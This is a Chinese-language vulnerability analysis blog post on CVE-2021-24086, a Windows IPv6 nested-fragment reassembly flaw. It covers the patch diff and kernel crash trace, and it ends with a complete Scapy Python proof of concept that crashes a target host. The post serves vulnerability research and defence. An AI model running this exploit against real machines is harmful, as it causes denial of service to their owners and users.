在这篇博文中,我们分析了一个影响Windows IPv6堆栈的拒绝服务漏洞。此漏洞出现的原因在于IPv6分片的错误处理,微软在2021年2月的安全公告中已修复了该漏洞。
介绍
2021年2月9日微软发布了一个安全补丁程序,修复了编号为CVE-2021-24086的拒绝服务漏洞,该漏洞影响每个Windows版本的IPv6堆栈。该问题是由于IPv6分片处理不当造成的。
这篇博客文章对该漏洞进行分析,并提供了一个POC。
IPv6分片入门
在本节中,我们将简要讨论IPv6分片工作原理。如果你对这一点还不熟悉,你可以参考RFC 8200第4.5节。
如果要发送一个超大数据包,该数据包的大小超过最大传输单元(MTU),可以将该数据包进行分片,然后将每个分片单独发送到目标地址,在目的地址处再进行重组。
分片是IPv6的一个核心特性,它通过扩展头(分片标头,由协议号44标识),片段头具有以下格式:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Next Header | Reserved | Fragment Offset |Res|M|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
当一个大数据包拆分成多个片段时,原始的大数据包分为不可分片和可分片部分。
- 不可分片部分是由发送方和接收方之间的中间节点必须处理的原始包的那些部分组成的。其中包括IPv6报头,以及节点在路由到目的地时需要处理的所有扩展标头(例如,逐跳选项标头,中间目标的“目标选项”标头和“路由”标头)。
- 可分片部分由原始数据包中仅在最终目标节点处必须处理的那些部分组成。这包括未包含在数据包的不可分段部分中的所有其他扩展标头(例如,最终目标的“目标选项”标头),上层标头(例如,ICMPv6,TCP,UDP)和上层有效负载。
分片过程
让我们看一个实际的例子,如何对IPv6数据包进行分片。示例数据包由一个IPv6标头,一个逐跳选项标头,一个ICMPv6标头及其有效载荷组成。
- 所述不可分片部分由IPv6报头加上必须由节点途中(被处理到目的地的扩展首部的逐跳选项在本例中头)。
- 可分片的部分由上层报头(在这种情况下为ICMPv6)加上ICMPv6有效负载组成。
原始数据包的一部分被分割成适合到达数据包目的地路径的MTU的片段。然后,每个分片独立进行传输,如下所示。每个分片包由不可分片部分、分片头、和分片片段组成。
重组过程
当所有分片数据包到达目的地节点时,接收器会将这些分片数据包重新组合成原始数据包:
- 重组数据包的非分片数据部分来自于第一个分片数据包(不包括Fragment头)
- 重新数据包的分片部分来自于所有分片数据包Fragment头之后的数据部分。
下图说明了此过程:
二进制比对
MaAfee实验室博客指出:此漏洞的根本原因是在Ipv6pReassembleDatagram中发生的NULL指针引用。当重新扩展头约为0xffff字节的数据包时,将发生崩溃。根据RFC协议说明,发送的扩展头中应该无法包含这么多字节,但是Ipv6pReceiveFragment函数在计算非分片长度时未考虑这一点。
tcpip!Ipv6pReassembleDatagram是负责重组接收到的分片数据包,通过二进制比对,可以发现修复前后函数的差异。
该函数计算重新组合的数据包的总大小,即IPv6报头大小 + 非分片扩展头大小 + 重新组装的分片部分大小。在已修补的版本中(下图右侧部分),我们可以识别添加的新的健全性检查:如果非分片扩展头大小 + 重新组装的分片部分大小(保存在EDX寄存器中)大于0xffff,则函数会快速退出并删除重新组合集;否则,它将继续执行重新组装过程。
我们还可以观察到tcpip!Ipv6pReceiveFragment函数的变化,该变化似乎也可以解决此漏洞:在修补版本中(下图右侧部分),如果正在处理的片段被标识为Jumbogram(表示其大小大于0xffff),则函数会跳出并调用IppSendError;否则,它将继续处理该片段。
此时,事情看起来已经很清楚了:我们需要在非分片部分中制作一个带有大约0xffff字节的扩展头的数据包。但是非分片部分来自第一个片段报文,其长度受MTU限制。那么怎么可能得到这么长的扩展头呢?
分片中的分片
我们问题的答案是分片嵌套:
事实证明,你可以将IPv6分片放入IPv6分片中,这将触发递归的数据包重组。Antonios Atlasis在Troopers 2013 conference 的演讲介绍了滥用分片和扩展头对IPv6协议栈进行攻击的情况。
需要注意的是,并非所有操作系统都接受嵌套的IPv6分片:Windows接受,但其他一些操作系统(如FreeBSD)则不接受。
以图形化的方式,我们可以通过如下方式组合数据包来构建嵌套片段:
TCPIP!Ipv6pReceiveFragment函数将处理中的每一个Outer分片(在这个例子中由ID 0x11111111识别),收到最后一个Outer分片时,它将调用tcpip!Ipv6pReassembleDatagram重新组装原始数据包。重新组装的数据包将如下所示:
Windows会注意到重新组装的部件基本上另一个需要重构的连续片段,从而触发递归数据包重组,最终获得原始数据包:
添加大量拓展头
那么,我们如何利用嵌套的分片,以使非分片拓展头的长度约为0xffff?事实证明,我们在常规分片数据包上观察到的扩展标头限制在1500个字节左右,这不适用于从嵌套分片重构的数据包。换句话说,我们可以放置任意数量的扩展头,只要它们属于嵌套分片即可。
我们可以像这样构建一个inner数据包:
请注意,我们使用0x1ffa Routing headers来实现扩展标头的目标长度。一个空的路由首部占8个字节,因此,扩展头中的总大小不可分段部分是0xffd0,足以触发该错误。在常规的非嵌套分片下,不可能包含如此大量的路由头,因为只有第一个分片数据包中的扩展头会计数,并且第一个分片数据包受1500字节的MTU限制。但是,在处理嵌套分片时,没有“第一个分片包”之类的东西:由于Outer分片重组,inner payload被安排为单个大块字节,因此对扩展头的大小没有限制。
上图中的“First part”必须分为多个分片发送,因此它本身就是嵌套的分片。另一方面,“Second part”只是最后一个inner片段,没有必要将其嵌套发送。实际上,在进行测试时,我发现最后一个inner片段必须与“First part”一起嵌套发送,否则不会触发递归重组。
总而言之,触发该错误所需的嵌套分片如下所示:
Crash
当递归调用tcpip!Ipv6pReassembleDatagram来处理我们的嵌套分片时,它将调用NdisGetDataBuffer从包含我们的数据包的NET_BUFFER结构中读取扩展头的长度+ sizeof(IPv6_header)字节。我们扩展头的长度为0xffd0,而IPv6头的固定大小为0x28,因此它尝试读取0xfff8字节。
请注意,该调用中的Storage参数设置为NULL。该NdisGetDataBuffer API文档指出,如果在数据NET_BUFFER是不连续的,如果存储参数为NULL,则返回值为NULL。我们正是使用特制长度的扩展头来实现这一点:NdisGetDataBuffer返回NULL,并且返回的NULL指针(临时保存到size_of_ext_headers_plus_sizeof_IPv6_hdr变量,如上面以红色突出显示的变量)被引用,从而导致BSoD:
这是我们可以在内核调试器中观察到的崩溃信息:
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 0000000000000000, memory referenced
Arg2: 0000000000000002, IRQL
Arg3: 0000000000000001, value 0 = read operation, 1 = write operation
Arg4: fffff80170b9937b, address which referenced memory
TRAP_FRAME: fffff80171472960 -- (.trap 0xfffff80171472960)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=ffffce0ae3366080
rdx=0000000000000002 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80170b9937b rsp=fffff80171472af0 rbp=ffffce0ae1cfe500
r8=ffffce0ae353f980 r9=0000000000000001 r10=ffffce0ae4edf040
r11=0000000000000001 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
tcpip!Ipv6pReassembleDatagram+0x14f:
fffff801`70b9937b 0f1100 movups xmmword ptr [rax],xmm0 ds:00000000`00000000=????????????????????????????????
Resetting default scope
STACK_TEXT:
fffff801`71472af0 fffff801`70b9a122 : ffffce0a`e1ee7000 00000000`00000000 00000000`00000002 ffffb5e7`00010067 : tcpip!Ipv6pReassembleDatagram+0x14f
fffff801`71472b90 fffff801`70b9a242 : ffffce0a`e54399b0 fffff801`70bf0008 ffffce0a`e1be6810 ffffce0a`e355d4a0 : tcpip!Ipv6pReceiveFragment+0x84a
fffff801`71472c60 fffff801`70ab5316 : ffffce0a`00000001 ffffce0a`e1ee7000 ffffce0a`e33e42e0 ffffce0a`e1ee7000 : tcpip!Ipv6pReceiveFragmentList+0x42
fffff801`71472c90 fffff801`70a359ff : fffff801`70bf3000 ffffce0a`e1a6b7e0 ffffce0a`e1ee7000 ffffce0a`e544fd00 : tcpip!IppReceiveHeaderBatch+0x7f0b6
fffff801`71472d90 fffff801`70a32d9c : ffffce0a`e32b9380 ffffce0a`e33e4550 00000000`00000001 00000000`00000000 : tcpip!IppFlcReceivePacketsCore+0x32f
fffff801`71472eb0 fffff801`70a7efd0 : ffffce0a`e33e4550 00000000`00000000 fffff801`71472f81 00000000`00000000 : tcpip!IpFlcReceivePackets+0xc
fffff801`71472ee0 fffff801`70a7e5cc : 00000000`00000001 ffffce0a`e36d4800 fffff801`70a71a50 fffff801`714732bc : tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x270
fffff801`71472fe0 fffff801`6e00d468 : ffffce0a`e1effba0 00000000`00000002 ffffce0a`e5474080 fffff801`714732d8 : tcpip!FlReceiveNetBufferListChainCalloutRoutine+0x17c
[...]
POC
以下Python代码触发该漏洞,使指定的目标计算机崩溃:
import sys
import random
from scapy.all import *
FRAGMENT_SIZE = 0x400
LAYER4_FRAG_OFFSET = 0x8
NEXT_HEADER_IPV6_ROUTE = 43
NEXT_HEADER_IPV6_FRAG = 44
NEXT_HEADER_IPV6_ICMP = 58
def get_layer4():
er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086")
er.cksum = 0xa472
return raw(er)
def get_inner_packet(target_addr):
inner_frag_id = random.randint(0, 0xffffffff)
print("**** inner_frag_id: 0x{:x}".format(inner_frag_id))
raw_er = get_layer4()
# 0x1ffa Routing headers == 0xffd0 bytes
routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))
# First inner fragment header: offset=0, more=1
FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id
def send_last_inner_fragment(target_addr, inner_frag_id):
raw_er = get_layer4()
ip = IPv6(dst = target_addr)
# Second (and last) inner fragment header: offset=1, more=0
FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])
def trigger(target_addr):
inner_packet, inner_frag_id = get_inner_packet(target_addr)
ip = IPv6(dst = target_addr)
hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)
outer_frag_id = random.randint(0, 0xffffffff)
fragmentable_part = []
for i in range(len(inner_packet) // FRAGMENT_SIZE):
fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])
if len(inner_packet) % FRAGMENT_SIZE:
fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])
print("Preparing frags...")
frag_offset = 0
frags_to_send = []
is_first = True
for i in range(len(fragmentable_part)):
if i == len(fragmentable_part) - 1:
more = 0
else:
more = 1
FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)
blob = raw(FH/fragmentable_part[i])
frag_offset += FRAGMENT_SIZE
frags_to_send.append(ip/hopbyhop/blob)
print("Sending {} frags...".format(len(frags_to_send)))
for frag in frags_to_send:
send(frag)
print("Now sending the last inner fragment to trigger the bug...")
send_last_inner_fragment(target_addr, inner_frag_id)
if __name__ == '__main__':
if len(sys.argv) < 2:
print('Usage: cve-2021-24086.py <IPv6 addr>')
sys.exit(1)
trigger(sys.argv[1])
结论
此漏洞的根本原因是,在尝试重新组合嵌套分片时,Windows会计算内部有效负载中包含的所有扩展标头。相反,在处理常规片段时,只计算第一个分片包中包含的扩展头;但是,在尝试递归重组嵌套分片时,没有“第一个分片包”这样的东西-inner payload只是单个大字节块,这是外部分片的重新组合的结果。
可以说,没有真正的理由支持嵌套分片。与IPv4不同的是,IPv6中间节点不能对数据包进行分片处理,只有发送方可以这样做,并且合法的IPv6节点没有理由在分片内发送分片。因此,从长远来看,删除对嵌套分片的支持(就像其他一些操作系统已经做的那样)可能是一个更好的解决方案,因为支持这样一个几乎没有用处的复杂功能可能会为进一步的漏洞敞开大门。
关于该漏洞的影响,它仅限于在目标计算机上造成BSoD,从而导致拒绝服务。但是,由于它会影响所有Windows版本下的所有Windows IPv6部署,因此导致服务中断的可能性很高。 还需要注意的是,正如Microsoft所说,仅配置了本地链路IPv6地址的Windows系统无法从Internet访问,在这种情况下,攻击只能来自本地网络。